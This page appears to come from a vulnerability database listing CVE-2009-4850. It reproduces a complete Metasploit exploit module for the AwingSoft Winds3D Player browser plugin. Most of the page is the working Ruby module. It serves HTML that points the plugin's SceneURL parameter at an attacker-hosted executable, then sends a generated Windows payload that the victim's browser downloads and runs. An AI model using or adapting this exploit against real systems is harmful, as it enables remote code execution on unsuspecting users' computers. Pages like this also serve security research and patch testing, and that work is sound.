Lucene search
K

AwingSoft Winds3D Player 3.5 SceneURL Download and Execute

🗓️ 14 Nov 2009 22:26:08Reported by jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 18 Views

AwingSoft Winds3D Player 3.5 SceneURL Download and Execute vulnerability in browser plugin for IE, Opera, and Firefo

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-4850
20 Sep 201000:00
circl
Check Point Advisories
AwingSoft Winds3D Player SceneURL Code Execution (CVE-2009-4850)
16 Aug 201100:00
checkpoint_advisories
CVE
CVE-2009-4850
7 May 201018:23
cve
Cvelist
CVE-2009-4850
7 May 201018:23
cvelist
Exploit DB
AwingSoft Winds3D Player 3.5 - SceneURL Download and Execute (Metasploit)
20 Sep 201000:00
exploitdb
NVD
CVE-2009-4850
7 May 201018:30
nvd
Prion
Design/Logic Flaw
7 May 201018:30
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AwingSoft Winds3D Player 3.5 SceneURL Download and Execute',
      'Description'    => %q{
          This module exploits an untrusted program execution vulnerability within the
        Winds3D Player from AwingSoft. The Winds3D Player is a browser plugin for
        IE (ActiveX), Opera (DLL) and Firefox (XPI). By setting the 'SceneURL'
        parameter to the URL to an executable, an attacker can execute arbitrary
        code.

        Testing was conducted using plugin version 3.5.0.9 for Firefox 3.5 and
        IE 8 on Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'jduck'  # original discovery & metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2009-4850' ],
          [ 'OSVDB', '60049' ]
        ],
      'Payload'        =>
        {
          'Space'    => 2048,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { }],
        ],
      'DisclosureDate' => '2009-11-14',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)

    payload_url =  "http://"
    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"

    if (request.uri.match(/payload/))
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_exe({ :code => p.encoded })
      print_status("Sending EXE payload")
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

      # Handle the payload
      # handler(cli)
      return
    end

    # otherwise, send the html..
    html = %Q|<html>
<body>
<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903'
codebase='http://www.awingsoft.com/zips/WindsPly.CAB'>
<param name="SceneURL" value="#{payload_url}#">
<embed type="application/x-awingsoft-winds3d" src="#{payload_url}">
</object>
|

    print_status("Sending #{self.name} HTML")
    # Transmit the compressed response to the client
    send_response(cli, html, { 'Content-Type' => 'text/html' })

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation